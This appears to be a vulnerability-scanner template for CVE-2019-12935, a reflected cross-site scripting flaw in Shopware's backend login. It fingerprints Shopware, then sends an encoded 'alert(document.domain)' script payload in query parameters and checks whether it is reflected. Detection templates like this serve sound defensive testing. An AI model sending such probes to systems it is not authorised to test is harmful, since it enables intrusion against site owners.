Shopware < 5.5.8 - Cross-Site Scripting

id: CVE-2019-12935

info:
  name: Shopware < 5.5.8 - Cross-Site Scripting
  author: pussycat0x
  severity: high
  description: |
    Shopware before 5.5.8 contains a reflected cross-site scripting (XSS) caused by unsanitized query string parameters in the backend/Login or backend/Login/load/ URI, letting attackers execute arbitrary scripts in the context of the victim's browser, exploit requires sending crafted URL to the victim.
  impact: |
    Attackers can execute malicious scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 5.5.8 or later.
  reference:
    - https://www.miggo.io/vulnerability-database/cve/CVE-2019-12935
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12935
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
    cvss-score: 7.4
    cve-id: CVE-2019-12935
    epss-score: 0.02734
    epss-percentile: 0.84261
    cwe-id: CWE-79
  metadata:
    verified: false
    max-request: 2
  tags: cve,cve2019,shopware,xss

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin"
      - "{{BaseURL}}/backend"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_any(body, 'Realisiert mit Shopware','Realised with Shopware','Shopware Administration (c) shopware AG','<title>Shopware 5 - Backend (c) shopware AG</title>','Shopware.Application.start')"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/backend/Login?error=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/backend/Login/load/?param=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: status
        status:
          - 200
          - 401
        condition: or
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